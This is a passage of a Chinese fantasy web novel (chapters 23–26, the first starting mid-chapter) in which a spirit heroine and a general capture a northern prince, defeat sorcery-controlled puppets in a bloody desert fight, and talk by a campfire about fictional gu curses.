然而话音未落,皇子突然瞳孔骤缩,刚才说完狠话就要逃跑,现在却惊恐地发现自己竟然死死绑在颠簸的马车上。
粗粝的牛皮绳深深勒进皮肉,这心狠手辣的皇家子弟没有丝毫犹豫,瞬间抽出腰间短刀,朝着自己的腿骨狠狠剁下。
刀刃入肉的闷响混着骨骼碎裂声,浓稠的鲜血如喷泉般溅在黄沙上,瞬间将周围染成一片刺目的猩红。
温热的血珠甚至擦过到宛楪脸颊,让她睫毛微颤。
变故来得太过突然,就连反应敏捷的宛楪都微微一怔,眼睛之中闪过一丝惊愕。
而慕酌的动作却快如闪电,他没有阻拦皇子自残,反而借着对方挥刀的力道,猛地将人拽了过来。
只听"咔嚓"一声脆响,宛楪清晰地听到骨头碎裂的声音。
在死寂的沙漠里格外刺耳。
皇子的惨叫声惊飞了远处枯树上的夜枭,扑棱棱的振翅声更添几分诡异。
皇子发出一声凄厉的痛呼,双目赤红如血,如同发狂的野兽般,死死抓住慕酌的胳膊,妄图将他一同拖下马车,与自己同归于尽。
宛楪见状,银牙紧咬,足尖轻点便掠至李胜身侧。她的右手如淬了毒的蛇信,瞬间扣住对方手腕,反向一折。
李胜的惨叫声还未出口,慕酌已抓住时机,将人狠狠拽上马车,同时侧身挡住了迎面劈来的寒光。
刀刃擦着慕酌肩头掠过,在他玄色衣袍上划出一道长长的破口。
李胜腿上的伤口不断涌出鲜血,在漫天黄沙中,那殷红的血迹宛如绽放的血色烟花,诡异而凄美。
然而危机并未解除,远处传来阵阵诡异的吟唱声,如同千万只蚂蚁在啃噬耳膜。
地平线上腾起遮天蔽日的沙雾,更多的敌人如潮水般涌来。
他们赤足踩过滚烫的砂砾,手中的丝线泛着冷冽的寒光,每一根都闪烁着诡异的青芒,如同毒蛇吐信般嘶嘶作响。
这些由巫蛊秘术炼制的傀儡丝,不仅能轻易穿透皮肉,更能侵入经脉,控制人的心智。
几个人熟练地甩出丝线,眨眼间就将宛楪和慕酌团团围住。为了防止李胜逃脱,两人的行动处处受限。
随着密密麻麻的白色丝线越收越紧,他们的活动空间被压缩得越来越小。
宛楪甚至能听见丝线摩擦空气的细微声响,像是无数蜘蛛在吐丝织网。
眼看丝线就要缠上宛楪的脸,慕酌想都未想,赤手便去抓那锋利的丝线。
鲜血顿时顺着丝线流下,在黄沙上蜿蜒出暗红的溪流。宛楪震惊地看着慕酌染血的手,不断涌出鲜血。
看着慕酌紧咬牙关却又坚定的神情,一股难以名状的情绪涌上心头。
她忽然注意到,慕酌握线的手指关节因为用力而泛白,虎口处的血珠顺着丝线滑落,在沙地上砸出小小的血坑,而丝线似乎也慢慢地与慕酌流血伤口的地方相融。
情况愈发危急,丝线如同贪婪的毒蛇,不断收紧,眼看就要穿透慕酌的身体,将他变成傀儡。
就在这千钧一发之际,宛楪突然伸出手,紧紧握住那聚拢的丝线。
鲜血顺着她的手指缓缓流下,慕酌见状,瞪大了眼睛,想要阻拦,却被宛楪冰冷而决绝的眼神制止。
下一秒,不可思议的事情发生了。
那些丝线像是触碰到了什么极其恐怖的东西,如潮水般迅速退去,变得萎靡不振,蜷缩成一团。
更令人震惊的是,丝线在退回那些人身体里时,竟产生了强烈的反噬。
那些被称作"撒谎人"的傀儡,平日里如同没有灵魂的行尸走肉,此刻却发出令人毛骨悚然的哀嚎。
他们的皮肤开始以肉眼可见的速度腐烂,黑色的脓血不断渗出,空气中弥漫着令人作呕的腐臭。
围观的士兵们纷纷捂住口鼻,有人甚至当场呕吐起来。
这诡异的一幕,让所有人都惊得目瞪口呆,就连刚才还嚣张跋扈的李胜,此刻也瞪大了眼睛,满脸不可置信。
“你们在干什么?为什么不动手?一群废物!”
一旁,那个身着黑色衣服、头戴黑色斗笠的傀儡师气急败坏地大喊大叫,他手中的骨笛都在剧烈颤抖。
然而他的命令却无人理会,那些傀儡的身体如同被无形的火焰灼烧,以肉眼可见的速度萎缩,皮肤如同被高腐蚀的液体侵蚀,逐渐变成黑色碎块脱落,场面既诡异又恐怖。
宛楪表面上波澜不惊,眼神中却闪过一丝不易察觉的紧张,她偷偷瞥了一眼慕酌,只见他虽然也面露诧异,但很快就恢复了平静。
宛楪心中暗暗松了口气,同时又有些忐忑,生怕慕酌发现什么秘密。
她注意到慕酌的目光在她手上停留了一瞬,又迅速移开,这个细微的动作让她后颈渗出一层冷汗。
周围的士兵们也被眼前的景象惊得呆若木鸡,就在这时,慕酌一声大喝:
"动手!"
如同一记惊雷,刀剑出鞘的清鸣划破死寂,寒光闪烁间,几个回合下来,那些曾经令人闻风丧胆的傀儡便瘫倒在地,他们的皮肤皱缩,如同枯萎的枯木,再无半点生机。
有个士兵壮着胆子戳了戳傀儡的尸体,那躯体竟如朽木般轰然碎裂,扬起一阵呛人的黑灰。
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宛楪按住慕酌的肩膀,借力飞身而起,如同一道黑色的闪电,瞬间来到傀儡师附近。
她的腿上肌肉紧绷,猛地发力,双手如铁钳般扣住傀儡师的脑袋,接着一个旋身,只听"咔嚓"一声,傀儡师便直挺挺地倒在地上。宛楪则借着惯性,滑行到远处,扬起一片漫天的尘埃。
尘埃中,她隐约看见慕酌正将李胜死死压在沙地上,两人身后,落日的余晖将他们的影子拉得很长,像是两尊沉默的雕像。
慕酌死死压着李胜,此时的李胜双目圆睁,眼中充满了仇恨,嘴角溢出鲜血,恨不得将眼前两人生吞活剥。
宛楪拍了拍身上的尘土,捡起一块锋利的石片,抵在李胜的脖子上。
她眼神冰冷,毫不犹豫地高举石片,就要狠狠刺下。夕阳的光芒映在石片上,折射出刺目的光,恍惚间竟与李胜脖颈间渗出的血珠融为一体。
"你要干什么?"慕酌一把拦住她,他的手掌覆在宛楪握石片的手上,掌心的温度透过她的皮肤传来。
宛楪没有停止动作,手指继续下压,鲜血顺着慕酌拦住的手滑下来。
宛楪的眼神冰冷,看着慕酌带着愤怒的疑惑。
慕酌再次开口,眼神中带着一丝牵强的坚定。
“留着他还有用,你也不想现在失去线索吧。我知道你现在很想杀了他,但是不行,没有他,我们进不去北国。”
听到这话,宛楪喘着粗气,眼中燃烧着仇恨的火焰,咬牙切齿地说道:
"怎么,他是钥匙吗,我要找人,为什么非要靠他?"
字字句句都充满了压抑已久的怒火。她的指甲深深掐进掌心,鲜血混着沙尘,在掌纹里凝成暗红的痂。
石片划破两人的手,带着尖锐的底部扎进那皇子的脖颈,上面的血一滴滴落在地上,慕酌却显得格外冷静,他语气温和地解释道:
"你杀了他,不也没什么用。留着他,最起码你能利用他找到那个孩子,不然你靠自己吗?"
远处的狼嚎声隐隐传来,在空旷的沙漠里回荡,更添几分苍凉。
宛楪冷笑一声:“你觉得他还会帮你,是不是有点天真,现在的场面不就是他造成的?”
她看了一眼地上昏迷的傀儡师和那些残缺不全的傀儡尸体。
月光不知何时已经爬上中天,银色的光辉洒在尸骸上,泛着诡异的幽光。
慕酌皱了皱眉,平静地说:"那就把他这么捆着,等到他没了用处,你再杀也不迟。"
慕酌话里没有情绪波动,像是在陈述一个早已注定的结局。
宛楪闻言,微微一愣,眼神中闪过一丝错愕与复杂。
她凝视着慕酌,在月光下,对方的面容显得格外冷峻。
片刻后,她缓缓开口:
"慕酌,你真是个可怕的人。"
语气中既有惊讶,又带着一丝难以言喻的复杂情绪,在这荒凉的大漠上空久久回荡。
而远处,新一轮的风沙正在地平线尽头翻涌,如同巨兽张开的血盆大口,等待着吞噬下一个黎明。
24. 撒谎人
马车上,被麻绳捆缚的皇子李胜脖颈青筋暴起,肿胀的嘴唇因塞着麻布而扭曲变形。
瞳孔里翻涌着毒蛇般的恨意,支吾的闷哼混着粗重喘息,将车辕震得簌簌发响。
宛楪松开攥得发红的缰绳,指节微微颤抖。
寒风吹过荒草,卷起枯叶扑在她沾着血渍的衣摆上,"那现在怎么办,怎么让他听话点?"
沙哑的嗓音裹着深秋的霜气,问话时垂落的发丝在风中瑟缩。
慕酌斜倚在斑驳的树干上,月光顺着他银线绣边的墨色衣袍流淌,在腰间软剑的螭纹剑柄上凝成冷光。
他屈指轻点下巴,眼角却凝着冰碴:"先绑着吧,实在不行就当人质。这北国之行是一定要去的,大不了不用他偷偷去——"
话音未落,修长指尖捏住飘落的枯叶,"或者在路上看看这位金枝玉叶,能不能换几匹好马。"
宛楪盯着马车里蜷成虾米的李胜,对方折断的右腿以诡异角度扭曲着,暗红色血痂正沿着裤管往下渗。
她弯腰从焦黑的"撒谎人"残骸里捻起一缕泛着幽蓝荧光的丝线,那丝线像活过来的小蛇般在掌心扭动,将枯叶腐蚀出细密的孔洞。
当丝线触及血肉的刹那,空气里炸开焦糊的腥气,李胜突然剧烈抽搐,麻布都堵不住的惨叫惊飞了远处树梢的夜枭。
猩红血痂刚触及泛着幽蓝荧光的丝线,皮肉便发出毒蛇吐信般的“滋滋”声响。
一缕缕青烟从伤口处腾起,暗红血肉以肉眼可见的速度皲裂碳化,像被烈火炙烤的黑陶,表面密密麻麻地浮现出蛛网般的纹路。
宛楪下意识后退半步,月白色衣袖掩住口鼻,指尖死死攥着衣角。
暮色中,慕酌倚着枯树,银线绣边的墨袍被风吹得猎猎作响,他歪头注视着这诡异一幕,桃花眼里翻涌着毒蛇吐信般的兴奋,指节无意识地叩击腰间软剑,发出清越的“哒哒”声。
被粗麻绳捆成蛹状的李胜疯狂扭动身躯,断裂的右腿在车厢板上重重砸出闷响。
他脖颈青筋暴起,麻布塞口被染成暗红,含混的嘶吼中带着哭腔。
马车不堪重负地发出“咯吱咯吱”的呻吟,车辕摇晃间,几片腐朽的木屑簌簌落在他渗血的额头上。
“商人行蛊,你们北国也真的是够恶心的。”
宛楪踢开脚边半焦的枯叶,风掠过她沾着血渍的发梢,将几缕碎发黏在苍白的脸颊上。
远处暮色四合,黛青色的山峦渐渐化作水墨般的剪影,她望着卷起黄沙的秋风,冷笑出声时,睫毛在眼下投出蝶翼般的阴影,
“出现在荒郊野岭,你一开始就没打算和我们做合作伙伴吧?”
暮色如墨,将天地一寸寸浸染。
浓稠的黑暗中,枯枝的轮廓逐渐模糊,宛楪的瞳孔徒劳地收缩着,眼前却仍是一片混沌。
这些天接连损耗的法力尚未恢复,长途跋涉带来的疲惫如蛛网般缠绕着她,让每一次睁眼都成了煎熬。
她伸手摸索着身旁的树干,指尖触到粗糙的树皮,才勉强稳住摇晃的身形。
暮色彻底吞噬最后一缕天光时,慕酌抬手,瞥了眼天边翻涌的铅云,“今夜在溪边落脚吧。”
宛楪揉了揉发酸的眉心,望着逐渐浓稠的夜色,声音里带着掩饰不住的疲惫:“安全?”
慕酌弯腰拾起块尖锐的碎石,在掌心抛了抛,唇角勾起一抹意味不明的笑:
“那也不能在这伸手不见五指的夜里继续赶路,还是,你想让我们的‘人质’趁机多流点血?”
说着,他斜睨了眼马车上不断扭动的黑影。
宛楪咬了咬下唇,没有反驳。
慕酌手中的碎石突然精准地砸向马车,惊得李胜发出一声惨叫。
“留着他的命就够了,真死了才是麻烦。”
他转身走向溪边,衣摆带起的风卷着枯叶,“你要是怕黑,就离篝火近点。”
宛楪伸手摸索着身旁的树干,勉强稳住摇晃的身形,面上却依旧是不咸不淡。
马车上的李胜仍在黑暗中挣扎,麻绳摩擦车辕的“吱呀”声混着含糊的闷哼,与溪水潺潺声交织成诡异的夜曲。
月光偶尔从云隙间漏下,照亮他扭曲的面容——青紫的嘴唇被麻布勒出深痕,充血的双眼死死盯着篝火旁的两人,仿佛要将满腔恨意化作实质的利刃。
慕酌斜倚在溪边的青石上,火光为他棱角分明的侧脸镀上一层暖晕,融不化眼底的冰霜。
“这商队在南国也是传闻。”
他修长的手指轻轻敲击着膝盖,骨节分明的指节在火光中泛着珍珠般的光泽。
“不过不可能好巧不巧出现在这个地方。这么说,你这个北国大皇子,当的还不算失败。”
说到此处,他突然轻笑出声,声音却冷得像淬了毒的匕首,“不过连这种邪门歪道都敢用,你也不怕遭到报应?”
晚风裹挟着溪水的凉意袭来,卷动着李胜含混的呜咽。
宛楪裹紧单薄的衣衫,目光却始终警惕地望着黑暗深处。
慕酌见状,随手扯下披风递过去,银线绣着的暗纹在火光中若隐若现:“披上吧。”
“不必。”宛楪后退半步,月光落在她泛着冷意的眉眼上,将睫毛的阴影拉得很长。
“这风还冷不到我。”她转身走向溪边,衣摆扫过沾满夜露的野草,留下一道湿润的痕迹。
宛楪立在溪边,夜色将她的身影与粼粼波光揉碎在一起。她垂眸望着水面上漂浮的枯叶,倒映在眼底的涟漪微微晃动,像是藏着化不开的愁绪。
风掠过她松散的头发,几缕碎发黏在泛白的脸颊上,更衬得那双杏眼盛满不安。
慕酌将披风随意搭在膝头,骨节分明的手指无意识摩挲着衣料上的暗纹。顺着她的目光望去,对岸的树林在夜色中如同张牙舞爪的巨兽。
他忽然轻笑一声,声线裹着夜色的凉意:"你在担心那个小孩吗?"
火光跳跃间,他眼底闪过一丝不易察觉的温柔,"放心,我会帮你找到。"
回应他的只有沉默。
宛楪弯腰拾起枯枝,纤细的手指被粗糙的树皮蹭得发红。
她跪坐在碎石滩上,燧石与铁片反复撞击,迸溅的火星转瞬即逝。
夜色渐深,寒意顺着裙摆爬上脊背,她咬着下唇又试了一次,掌心却只残留几缕转瞬即逝的青烟。
"我来。"慕酌不知何时已走到她身后,银线绣边的衣袖擦过她的肩膀。
他接过燧石的动作带着与生俱来的优雅,指节相扣间,火星如流星坠落,正巧落在干燥的
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甘草上。
火苗"腾"地窜起,映亮他侧脸时,宛楪才发现那双桃花眼里竟藏着几分专注。
火焰顺着枯枝蔓延,将两人的影子投在溪水中央,在波光中碎成点点金芒。
篝火噼啪炸开火星,慕酌修长的手指灵巧地拨弄着木柴,垂眸时睫毛在眼下形成阴影。"不是不冷吗?"
他忽然抬眼,嗓音温润,裹着篝火的暖意,尾音在寂静的夜色里泛起涟漪。
宛楪盯着跃动的火苗,喉结不自觉地滚动了一下。
火光将慕酌侧脸的轮廓勾勒得愈发清晰
高挺的鼻梁,微抿的薄唇,此刻都笼在柔和的光晕中,美得近乎不真实。
她咬住下唇,转过头,表情带着几分冷意,"我看不见。"
这倒不是骗人,连续消耗早就让她的体质比不用人类还差,原来能夜视,现在能稳定人形已经不容易。
话音落下,四周的虫鸣突然变得格外清晰。
慕酌动作顿了顿,随即往火堆里添了把干草。跳跃的火光照亮他眼中流转的笑意。
那双总藏着锋芒的桃花眼变得温润如水:"嗯,添些干草就好了。"
他用树枝拨弄着快要熄灭的火星,动作优雅得像在抚琴,"你以前在林子里生活过吗?"
火星突然爆开,映得宛楪耳尖发烫。
她别开脸,避开对方探寻的目光,心里却疯狂叫嚣着荒唐的答案。
何止生活过,那些千年古树的年轮里都刻着她的记忆,晨露与晚风是她最熟悉的歌谣。
但她总不能说,生活过,比你生活得都久。
可话到嘴边,只剩一声淡而又淡的:"算吧。"
夜色如同浸透血渍的绸缎,将马车层层包裹。
李胜被粗麻绳捆住的双腿扭曲成诡异的弧度,暗红的血痂凝结与腐朽的木板黏连在一起。
夜风送来阵阵铁锈般的腥气。
宛楪指尖夹着一截仍在噼啪作响的火星木条,无意识地转动着,橙红的火光照亮她眼底翻涌的警惕。
李胜喉间发出沙哑的呜咽,被汗水浸湿的麻布松脱。
他大口喘息着,肿胀的嘴唇泛着青紫,目光在两人身上游移,褪去了先前的狠戾,取而代之的是惊弓之鸟般的惶惑:
“如果我说,撒谎人不是我叫来的,你们会信我吗?”
话音未落,喉间溢出的血沫便顺着下巴滴落在染血的衣襟上。
宛楪垂眸盯着跳动的火星,睫毛在眼下投出细小的阴影,修长的手指继续把玩着木条,仿佛对方的话不过是夜风掠过耳畔。
慕酌倚在树干上,衣摆被风吹得猎猎作响,他慢条斯理地擦拭着软剑。
一个眼神都未施舍给马车上的人,冷硬的轮廓在火光中如同雕塑。
死寂的沉默里,李胜吞咽唾沫的声音格外清晰。
他干裂的嘴唇不断开合,皲裂的血口在风中绽开细密的纹路,像爬满裂痕的陶俑。
宛楪突然轻哼一声,温热的气息吹散额前碎发,发丝在空中扬起又落下,在她苍白的脸颊旁划出几缕若有若无的阴影。
心中翻涌疑虑与不屑。
篝火噼啪迸溅着火星,宛楪盯着跃动的火苗,忽然轻声发问:
"撒谎人是什么?"
25. 好一个能屈能伸
宛楪的声音裹着夜风的凉意,尾音微微发颤,仿佛这个词本身就带着某种令人不安的魔力。
慕酌修长的手指捻起油纸包,月光顺着他银线绣边的袖口流淌,在糕点表面凝成一层冷光。
"路上备的,还新鲜。"
他递来的动作带着与生俱来的优雅,指尖骨节分明,指甲修剪得圆润整齐,却难掩指腹处常年握剑留下的薄茧。
宛楪睫毛轻颤,警惕地盯着那方糕点。
她伸手接过时,腕间银铃发出细碎声响,像是某种无声的戒备。
凑到鼻尖轻嗅,甜腻的桂花香气混着麦粉的焦香,确实闻不出半点药味。
她又抬眸看向慕酌,对方正倚着树干,桃花眼微眯,嘴角噙着若有若无的笑意,火光将他眼底的神色映得模糊不清。
想了想,宛楪将糕点妥帖地收入衣袖,布料摩擦间带起一阵若有若无的草木香。
慕酌见状,忽然轻笑出声,笑声像毒蛇吐信般滑过耳畔:
"傀儡师手底下的人,叫做撒谎人。"
他慢条斯理地转动着腰间软剑,剑身折射的冷光掠过他眼底。
"有人说是被强迫做违心之事,所以对世人说谎;也有人说......"
话音顿住,他指尖抚过剑刃,"是没了灵魂的行尸走肉,连自己都骗。"
慕酌喉结微微滚动,火光在他棱角分明的下颌投下阴影,将声音浸染得愈发沙哑:
"不过不论是哪种,有一点是可以肯定的——"他刻意压低嗓音,像毒蛇吐信般。
"这些人一旦被催动,便会如疯魔般扑来,即便筋骨寸断、血肉模糊,也感觉不到半分疼痛。"
话音落下,他指尖无意识摩挲着剑柄,鎏金螭纹在火光中吞吐着暗红的光。
夜风掠过草丛,卷起一阵诡异的沙沙声。
李胜拖着僵直的断腿在车厢里挪动,凝固的血痂与木板摩擦,发出令人牙酸的刮擦声。
腐肉的甜腥混着青草的苦涩在空气中翻涌,像一剂催吐的毒药,熏得人太阳穴突突直跳。
"是,对!"李胜突然扯着破锣般的嗓子喊道,脖颈青筋暴起如扭曲的蚯蚓。
"他们就是这么可恨!就算千刀万剐......"他的嘶吼戛然而止,显然是被慕酌冰冷的眼神震慑住。
宛楪厌恶地啧了一声,将燃尽的木条狠狠甩向黑暗。
火星四溅的刹那,她瞥见李胜惨白如纸的脸,以及他眼底转瞬即逝的恐惧。
这细微的表情让她冷笑出声。
这北国皇子,终究也不过是个色厉内荏的懦夫。
慕酌修长的手指捏着素绢,一下又一下擦拭着软剑,鎏金螭纹剑柄在摇曳的火光中吞吐着暗红冷芒,如蛰伏的凶兽。
他低垂的眉眼笼在阴影里,头也不抬地开口。
声线像是从千年玄冰中淬出的刀刃:"你觉得你还有和我们谈条件的资格吗?"
话音未落,剑身突然划出半道弧光,折射的碎芒如流星般掠过李胜的脸,映得那双惊恐的瞳孔瞬间缩成针尖。
宛楪斜倚在扭曲的枯树旁,月光将她凌乱的发丝镀上银边,顺着苍白的脖颈流淌,在锁骨处投下蛛网般的阴影。
她忽然轻笑出声,声音清脆得近乎天真,却让周遭的空气泛起寒意:
"是啊,离了你我们两个就做不到了?"
尾音拖得极长,指尖无意识摩挲着袖中短刃,若隐若现的金属寒芒惊得草丛里的夜虫集体噤声,连呼吸都凝成了霜。
李胜的喉结剧烈滚动,麻绳深深勒进皮肉的刺痛突然变得清晰可感。
裹挟着枯叶的夜风扑在他渗血的伤口上,腐肉的腥甜混着篝火的焦香,顺着脊梁骨窜上天灵盖。
他强撑着挺直佝偻的脊背,干裂的嘴唇却止不住地颤抖,挤出的话语像破风箱般漏着气:
"杀了我不过多具尸体,"
他刻意拔高声调,眼底却翻涌着恐惧,"但留着我——北国皇室的印信、商路暗桩,这些你们当真不想要?"
李胜此话一出,宛楪有些恶心的惊讶。
月色流淌在她睁大的杏眼里,紧接着,一声嗤笑破口而出,带着难以抑制的怒意与嘲讽。
宛楪单手捂住胸口,笑得有些弯下腰去,发丝垂落。
好一个能屈能伸!
夜风卷起她凌乱的发梢,拂过因急促喘息而起伏的肩头。
树皮粗糙的纹路硌着后背,却抵不过胸腔里翻涌的怒意
——这个刚刚还目露凶光的皇子,此刻竟像条摇尾乞怜的犬。
她真有些不懂人类。
她仍止不住溢出的冷笑,指甲深深掐进掌心,在皮肤上留下月牙形的红痕。
慕酌斜倚着树干,露出半截苍白修长的手指。
他饶有兴致地注视着宛楪失控的模样,嘴角勾起一抹意味深长的弧度,桃花眼里流转着玩味的光。
篝火将他的侧脸镀上暖晕,却化不开眼底的冰冷。
他又伸手接住一片飘落的枯叶,在指间轻轻揉搓,听着李胜在马车上的辩解,胸腔里发出低沉的轻笑。
随着笑意渐歇,宛楪终于靠回树干,胸口仍在剧烈起伏。她盯着远处模糊的山峦,目光却穿透夜色,不知落在何处。
慕酌则仰头望向天际,月光为他高挺的鼻梁镀上银边,在睫毛下投出蝶翼般的阴影。
云层缓缓掠过,将那轮若隐若现的月亮时掩时现,恰似他此刻捉摸不透的心思。
李胜的声音在夜色里愈发急切,麻绳摩擦车厢的吱呀声混着他沙哑的喘息:
"我知晓北国半数以上的密道!还有各城布防图......"
见两人始终冷脸,他忽然话锋一转,浑浊的眼睛死死盯着宛楪,干裂的嘴唇扯出讨好的弧度,
"还有这位小兄弟,撒谎人的巫蛊之术都能破解,定然能不凡,说不定以后会大有作为啊,南国有你这样的人才真是太荣幸了!"
语调谄媚得如同融化的蜜,尾音却因过度激动而发颤。
慕酌原本轻叩剑柄的手指骤然收紧,鎏金螭纹硌得掌心生疼。
他斜睨着马车上那道贪婪的目光,桃花眼泛起冷意,忽然侧身挡住月光,将宛楪笼罩在自己
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投下的阴影里。
银线绣边的衣摆随着动作扬起,在两人之间划出一道无形的屏障,布料摩擦声里裹着若有若无的威胁。
连绵不绝的夸赞声中,宛楪不耐烦地揉了揉眉心。
她转身欲往溪边走去,却在转身刹那呼吸一滞
——朦胧月色下,慕酌半侧的脸庞被月光勾勒出完美的轮廓,微抿的薄唇泛着淡淡的绯色,似笑非笑。
整张脸在月色的映衬下,既有少年般的纯净,又带着几分魅惑众生的妖冶,美得惊心动魄.
那模样纯净得如同琉璃雕就的人偶,全然不见白日里的狠戾。
火光跳跃间,他垂眸擦拭剑身的动作优雅至极,仿佛在雕琢一件稀世珍宝,却让宛楪无端想起毒蛇吐信时的致命美感。
霜色月光漫过层云,将整片荒原浸成冷白。
不同于那天正午骄阳的炽热暴烈。
这轮圆月裹着丝绸般的柔光,却在不经意间将万物轮廓勾勒得锋利如刃。
慕酌仰靠在虬曲的树干上,月光顺着他流畅的下颌线流淌,在高挺的鼻梁投下清浅的阴影。
微阖的眼眸、舒展的眉峰,俊美得此刻竟像被月光亲吻过的白玉雕,连垂落额前的碎发都泛着银辉。
篝火明灭间,他擦拭剑柄的动作舒缓优雅,鎏金螭纹在指节间流转,美得近乎不真实。
宛楪望着那张被月色浸透的侧脸,胸腔里泛起陌生的震颤,仿佛有根羽毛轻轻扫过心脏。
让她想起深山林涧中偶然瞥见的绝美昙花——转瞬即逝,却惊心动魄。
然而下一秒,记忆如淬毒的箭矢破空而来:
那些被慕酌轻易折断的脖颈,飞溅在他玄色衣袍上的血珠,还有他眸中永远化不开的寒冰。
寒意顺着脊背窜上后颈,她猛地后退半步,撞得身后枯枝簌簌作响。
夜风卷着砂砾扑在脸上,终于将那层虚幻的迷雾吹散。
可笑自己竟会被这张皮囊迷惑,忘了这张比月色更美的面容下,藏着的是比厉鬼更可怖的灵魂。
她暗暗攥紧袖中短刃,冰凉的触感让意识渐渐清明——在这个人面前,心软就是取死之道。
真是疯了。
宛楪只觉得浑身泛起一阵冷意,她下意识地避开慕酌投来的目光,脸上露出一丝冷淡。
然而,她内心反而有些慌乱。
李胜夸赞她牵制住了撒谎的人,可她深知,身旁这位杀神绝非易与之辈。
他怎么可能听不出来这其中的蹊跷?
就算是她自己,也该怀疑自己到底用了什么办法才做到的。
慕酌不可能发现不了!
一旦他深究下去,那么……
宛楪的心脏猛地一紧,似乎漏了一拍,全身泛起阵阵冷意。
她该惊慌的,可她却强迫自己呼出一口气,努力让自己平静下来。
胸口闷闷地疼,宛楪咬着唇,紧张地等待着慕酌接下来可能的反应。
如果他真的发现不对劲,现在就应该动手杀了慕酌,以绝后患……
可自己现在根本没有这个能力……
26. 折断
宛楪指尖触到的风忽然凝了霜,像是无数冰针顺着袖口钻进肌理,连骨髓都泛着寒意。搞不清楚慕酌到底是什么想法,忽冷忽热,一会想杀了自己,一会又像是多年的好朋友一样,自然融洽的相处。
此刻他垂眸拨弄着腰间玉佩,玉色在月光下泛着冷光,倒像极了他这人。
宛楪摩挲着自己的手,脑子是一团浆糊。
妖本是三界弃子,偏生百年前天地异变,草木精怪竟能化形入世,可这人间翻涌的人心诡谲,比千年修行更难参透。
马车里传来皇子嘴里喊着绳子支吾的声音,像生锈的铁链在磨盘上碾过,听得她耳廓发麻,喋喋不休如同催命曲一样传进宛楪耳朵。
“六六兄弟。”慕酌开口,声线温得像春溪,却裹着子夜霜风的清冽,
宛楪心里咯噔一下,却还是回应道,“慕将军,有什么事吗?”
慕酌声音淡淡的,似乎说着平常的事情,但内容却让人心惊肉跳。
“这位皇子很欣赏你啊,撒谎人的能力都可以克制,说不定你到了北国,能混成王侯将相一样,你不心动吗?”
“不心动。”
正常人可能听出来这是试探,也是表忠心的好时候,但宛楪是妖,妖还是太实诚了一些。
“阿已在他们手上,连孩童都能成为食物,这个国家太恶心了。我对王侯将相没什么想法,要是有机会,我也会离开这,”宛楪如实的回答他的话,抬头看了他一眼。
慕酌似乎听到这话有所触动,眼眸轻颤着。
“你……不好奇我为什么能解撒谎人的毒吗?”宛楪有些试探地问。
却听见慕酌嗤笑了一声,“你不是说你家里是做中药的,连时令花都能拿得出来,想有撒谎人的解药也不是什么难事吧。”
宛楪没想到他给自己找了一个这么好的借口,嘴唇蠕动了几下,没有再说话。
如果他是这么认为的,那最好。
不知道哪句说中了李胜这位皇子的痛点,竟然吱呀着发出声音,“这位公子这么厉害,不知赤魔蛊能不能解?”
这句话引起了宛楪的好奇,但她没有答话,宛楪看着慕酌,随即靠在树上假寐。
慕酌似乎接收到了信号,温润的声音响起,却又带着那种戏虐的笑,掺了冰碴般泛着寒意。
“赤魔蛊,原来你得的是这个,怪不得说能帮你解决赤链蛊你无动于衷,原是中了这等煞物。。”
宛楪投去疑惑的眼神,慕酌开口解答。
“赤魔蛊和赤链蛊看似只差了一个字,实际上却是天壤之别。”
"赤链,名字里有链条的意思,作用是让人的心脏像是被链条分开一样产生剧痛,然后造成心脏供血不足,最后痛苦死去。"
“但是赤魔不一样,它不会让人产生剧痛,反之会在你疼痛的时候减免,但是慢慢地你就会变成傀儡一样四肢不便,毕竟感受不到痛觉,那最后就连知觉也没了。”
“要是它只是这样,似乎也没什么大不了,但是中了赤魔蛊的人死得会比赤链蛊的快,到后期更是形同魔鬼一样,控制不住自己暴虐杀人的冲动,这东西一般用在想要弄死却没办法的人身上。”
“因为……”慕酌顿了顿。
“亲眼看着自己杀死自己的亲人,爱人,甚至是所有对自己好的人,心智善良者会内疚自杀,就算是心智邪恶的人也会失去民心,从而被赶到圈外失去权力。”
慕酌停了下来。
宛楪被这一长串的话震惊了,她是真的没想到人类研究药物上可以复杂到这种程度。宛楪指尖发凉,这人间方术竟比妖界咒术更狠绝。
攻心,杀人,毁誉,狠绝。
一直到宛楪消化完,还有些震惊和佩服地看向慕酌,才听他继续询问那位皇子。
声音变得狠厉,如同最开始遇见宛楪想要掐死她的时候,只不过这回多了几分从容。
“不妨让我猜猜,这下毒的人是谁呢?”
“皇子身边的人,不,按你这个警惕来看,他们不会有得手的机会。那就是你信任的人……”
“你信任的人,会是谁呢?”
接下来就是慕酌的沉默,夜晚的风变得冷,宛楪看着眼前递过来地黑色大衣,有些不解地看着他。
慕酌歪了歪脑袋,用余光看着宛楪,声音高傲地说,“那,给你。”
见宛楪不接,他咳嗽了两声,“去北国还要用到你,可别冻坏了,不然我不帮你找那个小孩。”
宛楪还沉浸在慕酌刚刚的推理里面,一时间没反应过来,但她是妖,不怕深寒,虽比不上那些天然雪域的植物,但倒也不至于畏惧中秋的夜晚。
“不需要。”
宛楪实话实说,但是慕酌明显的皱着眉头,“你真不要?我可就好心这一次。”
“不用,你要不继续你刚才的话,他最信任的人是谁啊?”
宛楪眼中慕酌明显带着不悦,虽然她不知道为什么。
不过不说就不说吧,有人告诉她,别人不想说的事不要问。
慕酌一下子收回了自己的衣服,动作幅度大的以为遭到了敌袭。
宛楪以为没什么事情,但是显然不是。
旁边含着怒气带着阴森的声音传来,“是,你就那么在乎那个孩子吗,是不是所有人在你眼里都一样?”
听着让宛楪窝火,“不然呢?那孩子不过五岁,就被拉到战场上,能活到现在实在不容易,怎么,你到底合不合作?”
宛楪的声音带着怒气,她闭上眼睛不想搭理这个神经。
神经,人类世界骂人的话,用在他身上可真是合适。
旁边倒是没有继续争辩,过了很久,传来一声轻声呢喃,轻得似乎让人听不见。
宛楪细听着,到真捕捉到了。
“对他,像我一样,执着吗?”
这话听得让人一头雾水,宛楪不想问,但是要是不问清楚,怕是不知道慕酌到底合不合作。
“执着什么?”
宛楪冷不丁一句话似乎惊到慕酌,他没有
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接话。
马车上看着自己双腿的血已经结痂,风吹过都留下刮板的刺耳声,痛苦慢慢消失无踪,心脏处传来异样的大皇子嘴里发出“额,和,配”这样的声音,眼睛猩红一片,看着远处的两人,挣扎后眼神变得清明,陷入了沉思。
同样睡不着的还有慕酌,眼睛睁开在夜色里。
宛楪闭上眼睛,她思考不出那么多可能方法,只不过担心阿已那个小孩现在怎么样了。
就像多年前的那个小孩一样,失踪,然后怎么找也找不到。
“你很希望那个小孩活下来吗?”
模模糊糊中听到这样的话,宛楪砸动着嘴,吐出的字似乎在回答。
谁在问?
